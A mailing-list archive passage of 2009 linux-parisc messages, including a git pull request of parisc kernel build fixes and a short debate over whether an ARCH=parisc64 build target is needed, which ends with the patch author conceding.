> Signed-off-by: Stoyan Gaydarov <stoyboyker@gmail.com>
>

Hi Stoyan,

Thanks for sending this, but Helge Deller has already submitted
a similar patch queued for 2.6.30.

Thanks,
	Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: define SRCARCH=parisc for parisc64 builds
Date: Fri, 13 Mar 2009 00:55:37 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20090313045537.GC3907@bombadil.infradead.org>
References: <49862F11.5000808@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1236920195 29658 80.91.229.12 (13 Mar 2009 04:56:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Mar 2009 04:56:35 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 13 05:57:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LhzSx-00020k-1M
	for glpp-linux-parisc@gmane.org; Fri, 13 Mar 2009 05:57:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756696AbZCMEzm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Mar 2009 00:55:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757302AbZCMEzm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 13 Mar 2009 00:55:42 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40556 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757064AbZCMEzl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Mar 2009 00:55:41 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LhzQn-0008SU-9l; Fri, 13 Mar 2009 04:55:37 +0000
Content-Disposition: inline
In-Reply-To: <49862F11.5000808@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1380
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1380>

On Mon, Feb 02, 2009 at 12:24:01AM +0100, Helge Deller wrote:
> The parisc64 target (HP PARISC, 64bit kernel) is similar to the sparc64 or 
> m68knommu targets, as it shares all sources for 32- and 64-bit in one single
> source path which is arch/parisc/.
> This patch now allows one to use ARCH=parisc64 and just directly build the
> 64bit kernel without creating symlinks in arch/ and include/asm-* manually
> the same way as it's done for sparc64 and m68knommu.
> 

I'm going to drop this patch, powerpc and mips don't do it, and
'parisc64' hasn't been valid as $ARCH since v2.3 or something equally
ancient, so I can't see any point in it.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [git patches] parisc: patches for 2.6.29 (or .30)
Date: Fri, 13 Mar 2009 05:50:13 +0000
Lines: 78
Approved: news@gmane.org
Message-ID: <20090313055013.GA15358@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1236923524 3363 80.91.229.12 (13 Mar 2009 05:52:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Mar 2009 05:52:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 13 06:53:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Li0Jy-0003s4-Hc
	for glpp-linux-parisc@gmane.org; Fri, 13 Mar 2009 06:52:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751550AbZCMFvD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Mar 2009 01:51:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752500AbZCMFvB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 13 Mar 2009 01:51:01 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:34062 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751550AbZCMFvA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Mar 2009 01:51:00 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX19WsWkuNnOm+ONlTXGUTo5GFZJ1WYMGw3Q@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n2D5oDOK016582
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 13 Mar 2009 05:50:13 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n2D5oD2l016581;
	Fri, 13 Mar 2009 05:50:13 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: ClamAV 0.93.3/9103/Fri Mar 13 02:52:35 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Fri, 13 Mar 2009 05:50:22 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1381 gmane.linux.kernel:806313

Hi Linus,

This is entirely build warning cleanups, and fixups from my 2.6.30 tree
that would be nice to see in .29, but no big deal if you think it's
inappropriate at this point, I just hadn't had time to split these
apart any earlier.

regards, Kyle

The following changes since commit 041b62374c7fedc11a8a1eeda2868612d3d1436c:

  Linus Torvalds (1):
        Linus 2.6.29-rc8

are available in the git repository at:

  /pub/scm/linux/kernel/git/kyle/parisc-2.6.29.git master

Grant Grundler (2):
      parisc: fix wrong assumption about bus->self
      parisc: update MAINTAINERS

Helge Deller (7):
      parisc: BUG_ON() cleanup
      parisc: fix section mismatch warnings
      parisc: fix `struct pt_regs' declared inside parameter list warning
      parisc: remove unused local out_putf label
      parisc: fix dev_printk() compile warnings for accessing a device struct
      parisc: add braces around arguments in assembler macros
      parisc: fix 64bit build

James Bottomley (1):
      parisc: remove klist iterators

Kay Sievers (1):
      parisc: dino: struct device - replace bus_id with dev_name(), dev_set_name()

Kyle McMartin (5):
      parisc: fix use of new cpumask api in irq.c
      parisc: convert (read|write)bwlq to inlines
      parisc: convert cpu_check_affinity to new cpumask api
      parisc: define x->x mmio accessors
      parisc: update defconfigs

Mike Travis (1):
      parisc: update parisc for new irq_desc

 MAINTAINERS                           |    6 +-
 arch/parisc/configs/712_defconfig     |  429 ++++++++++++++++---------
 arch/parisc/configs/a500_defconfig    |  490 +++++++++++++++++++---------
 arch/parisc/configs/b180_defconfig    |  433 ++++++++++++++++--------
 arch/parisc/configs/c3000_defconfig   |  575 +++++++++++++++++++++-----------
 arch/parisc/configs/default_defconfig |  585 ++++++++++++++++++++++-----------
 arch/parisc/hpux/fs.c                 |    1 -
 arch/parisc/include/asm/assembly.h    |   11 +-
 arch/parisc/include/asm/io.h          |   51 +++-
 arch/parisc/include/asm/irq.h         |    2 +-
 arch/parisc/include/asm/uaccess.h     |    1 +
 arch/parisc/kernel/cache.c            |    5 +-
 arch/parisc/kernel/entry.S            |    6 +-
 arch/parisc/kernel/firmware.c         |   12 +-
 arch/parisc/kernel/irq.c              |   18 +-
 arch/parisc/kernel/pci-dma.c          |   22 +-
 arch/parisc/mm/init.c                 |    6 +-
 drivers/char/agp/parisc-agp.c         |   23 +-
 drivers/parisc/dino.c                 |   13 +-
 drivers/parisc/gsc.c                  |   39 ++-
 drivers/parisc/iosapic.c              |   16 +-
 drivers/parisc/lba_pci.c              |    4 +-
 drivers/parisc/sba_iommu.c            |   61 ++--
 drivers/scsi/lasi700.c                |    2 +-
 drivers/scsi/zalon.c                  |    2 +-
 25 files changed, 1849 insertions(+), 964 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: define SRCARCH=parisc for parisc64 builds
Date: Sat, 14 Mar 2009 21:47:06 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <49BC17CA.9020004@gmx.de>
References: <49862F11.5000808@gmx.de> <20090313045537.GC3907@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1237063643 19668 80.91.229.12 (14 Mar 2009 20:47:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Mar 2009 20:47:23 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 14 21:48:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Liamc-0008M4-F9
	for glpp-linux-parisc@gmane.org; Sat, 14 Mar 2009 21:48:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753654AbZCNUrO convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2009 16:47:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752718AbZCNUrO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Mar 2009 16:47:14 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:50942 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753485AbZCNUrN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2009 16:47:13 -0400
Original-Received: (qmail invoked by alias); 14 Mar 2009 20:47:10 -0000
Original-Received: from mnhm-590e049a.pool.einsundeins.de (EHLO [192.168.178.66]) [89.14.4.154]
  by mail.gmx.net (mp015) with SMTP; 14 Mar 2009 21:47:10 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18SvrI6hUQSijvaSQwH7rWA+riRq622QR0aWpYZzx
	GPiwjiLx+0jeO3
User-Agent: Thunderbird 2.0.0.19 (X11/20090105)
In-Reply-To: <20090313045537.GC3907@bombadil.infradead.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.65
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1382
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1382>

Kyle McMartin wrote:
> On Mon, Feb 02, 2009 at 12:24:01AM +0100, Helge Deller wrote:
>> The parisc64 target (HP PARISC, 64bit kernel) is similar to the spar=
c64 or=20
>> m68knommu targets, as it shares all sources for 32- and 64-bit in on=
e single
>> source path which is arch/parisc/.
>> This patch now allows one to use ARCH=3Dparisc64 and just directly b=
uild the
>> 64bit kernel without creating symlinks in arch/ and include/asm-* ma=
nually
>> the same way as it's done for sparc64 and m68knommu.
>>
>=20
> I'm going to drop this patch, powerpc and mips don't do it,=20

they maybe don't need it ?

> and 'parisc64' hasn't been valid as $ARCH since v2.3 or something equ=
ally
> ancient, so I can't see any point in it.

=C4h ?
And how do you build a 64bit parisc kernel then ?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: define SRCARCH=parisc for parisc64 builds
Date: Sat, 14 Mar 2009 16:49:22 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20090314204922.GA3167@bombadil.infradead.org>
References: <49862F11.5000808@gmx.de> <20090313045537.GC3907@bombadil.infradead.org> <49BC17CA.9020004@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1237063775 19964 80.91.229.12 (14 Mar 2009 20:49:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Mar 2009 20:49:35 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 14 21:50:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Liaol-0000TF-4S
	for glpp-linux-parisc@gmane.org; Sat, 14 Mar 2009 21:50:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751198AbZCNUt1 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2009 16:49:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751793AbZCNUt1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Mar 2009 16:49:27 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:48864 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751198AbZCNUt1 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2009 16:49:27 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LianK-00054K-VM; Sat, 14 Mar 2009 20:49:23 +0000
Content-Disposition: inline
In-Reply-To: <49BC17CA.9020004@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1383
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1383>

On Sat, Mar 14, 2009 at 09:47:06PM +0100, Helge Deller wrote:
> > and 'parisc64' hasn't been valid as $ARCH since v2.3 or something e=
qually
> > ancient, so I can't see any point in it.
>=20
> =C4h ?
> And how do you build a 64bit parisc kernel then ?
>=20

CONFIG_64BIT.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: define SRCARCH=parisc for parisc64 builds
Date: Sat, 14 Mar 2009 21:56:16 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <49BC19F0.1080405@gmx.de>
References: <49862F11.5000808@gmx.de> <20090313045537.GC3907@bombadil.infradead.org> <49BC17CA.9020004@gmx.de> <20090314204922.GA3167@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1237064195 20978 80.91.229.12 (14 Mar 2009 20:56:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Mar 2009 20:56:35 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 14 21:57:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LiavP-0002Ey-Fs
	for glpp-linux-parisc@gmane.org; Sat, 14 Mar 2009 21:57:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754593AbZCNU4U convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2009 16:56:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754642AbZCNU4U
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Mar 2009 16:56:20 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:49248 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754593AbZCNU4T (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2009 16:56:19 -0400
Original-Received: (qmail invoked by alias); 14 Mar 2009 20:56:17 -0000
Original-Received: from mnhm-590e049a.pool.einsundeins.de (EHLO [192.168.178.66]) [89.14.4.154]
  by mail.gmx.net (mp065) with SMTP; 14 Mar 2009 21:56:17 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+8fkhmRHu8Fqx44LeLqrQrJH24vPCtKjIqLEuvNc
	Fo8ldTUBHdpAIN
User-Agent: Thunderbird 2.0.0.19 (X11/20090105)
In-Reply-To: <20090314204922.GA3167@bombadil.infradead.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.63
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1384
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1384>

Kyle McMartin wrote:
> On Sat, Mar 14, 2009 at 09:47:06PM +0100, Helge Deller wrote:
>>> and 'parisc64' hasn't been valid as $ARCH since v2.3 or something e=
qually
>>> ancient, so I can't see any point in it.
>> =C4h ?
>> And how do you build a 64bit parisc kernel then ?
>>
>=20
> CONFIG_64BIT

No, this does not work with a cleanly checked-out tree.
Just remove the arch/parisc64 link which you created manually.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: define SRCARCH=parisc for parisc64 builds
Date: Sat, 14 Mar 2009 17:06:07 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20090314210607.GB3167@bombadil.infradead.org>
References: <49862F11.5000808@gmx.de> <20090313045537.GC3907@bombadil.infradead.org> <49BC17CA.9020004@gmx.de> <20090314204922.GA3167@bombadil.infradead.org> <49BC19F0.1080405@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1237064790 22462 80.91.229.12 (14 Mar 2009 21:06:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Mar 2009 21:06:30 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 14 22:07:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lib4y-0005Jz-38
	for glpp-linux-parisc@gmane.org; Sat, 14 Mar 2009 22:07:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753839AbZCNVGM convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2009 17:06:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753570AbZCNVGM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Mar 2009 17:06:12 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52010 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751001AbZCNVGL convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2009 17:06:11 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Lib3X-00045w-Oa; Sat, 14 Mar 2009 21:06:07 +0000
Content-Disposition: inline
In-Reply-To: <49BC19F0.1080405@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1385
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1385>

On Sat, Mar 14, 2009 at 09:56:16PM +0100, Helge Deller wrote:
> Kyle McMartin wrote:
> > On Sat, Mar 14, 2009 at 09:47:06PM +0100, Helge Deller wrote:
> >>> and 'parisc64' hasn't been valid as $ARCH since v2.3 or something=
 equally
> >>> ancient, so I can't see any point in it.
> >> =C4h ?
> >> And how do you build a 64bit parisc kernel then ?
> >>
> >=20
> > CONFIG_64BIT
>=20
> No, this does not work with a cleanly checked-out tree.
> Just remove the arch/parisc64 link which you created manually.
>=20

It's simple, set CONFIG_64BIT, and just call it 'parisc' like
everyone else has done for years now.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: define SRCARCH=parisc for parisc64 builds
Date: Sat, 14 Mar 2009 22:25:36 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <49BC20D0.8070405@gmx.de>
References: <49862F11.5000808@gmx.de> <20090313045537.GC3907@bombadil.infradead.org> <49BC17CA.9020004@gmx.de> <20090314204922.GA3167@bombadil.infradead.org> <49BC19F0.1080405@gmx.de> <20090314210607.GB3167@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1237065952 25300 80.91.229.12 (14 Mar 2009 21:25:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Mar 2009 21:25:52 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 14 22:27:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LibNq-0002B8-Vz
	for glpp-linux-parisc@gmane.org; Sat, 14 Mar 2009 22:27:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751242AbZCNVZl convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Mar 2009 17:25:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752718AbZCNVZl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Mar 2009 17:25:41 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:54735 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751242AbZCNVZk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Mar 2009 17:25:40 -0400
Original-Received: (qmail invoked by alias); 14 Mar 2009 21:25:37 -0000
Original-Received: from mnhm-590e049a.pool.einsundeins.de (EHLO [192.168.178.66]) [89.14.4.154]
  by mail.gmx.net (mp047) with SMTP; 14 Mar 2009 22:25:37 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18tF/AbpNctd96wgGT4/j9o7ZiNVTt9MTLI47Nzfh
	qhcSMAjCFhh1M9
User-Agent: Thunderbird 2.0.0.19 (X11/20090105)
In-Reply-To: <20090314210607.GB3167@bombadil.infradead.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.61
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1386
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1386>

Kyle McMartin wrote:
> On Sat, Mar 14, 2009 at 09:56:16PM +0100, Helge Deller wrote:
>> Kyle McMartin wrote:
>>> On Sat, Mar 14, 2009 at 09:47:06PM +0100, Helge Deller wrote:
>>>>> and 'parisc64' hasn't been valid as $ARCH since v2.3 or something=
 equally
>>>>> ancient, so I can't see any point in it.
>>>> =C4h ?
>>>> And how do you build a 64bit parisc kernel then ?
>>>>
>>> CONFIG_64BIT
>> No, this does not work with a cleanly checked-out tree.
>> Just remove the arch/parisc64 link which you created manually.
>>
>=20
> It's simple, set CONFIG_64BIT, and just call it 'parisc' like
> everyone else has done for years now.

Everyone besides me it seems :-)

Shame on me ... seems you are right.
sorry.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: define SRCARCH=parisc for parisc64 builds
Date: Sat, 14 Mar 2009 17:27:03 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20090314212703.GC3167@bombadil.infradead.org>
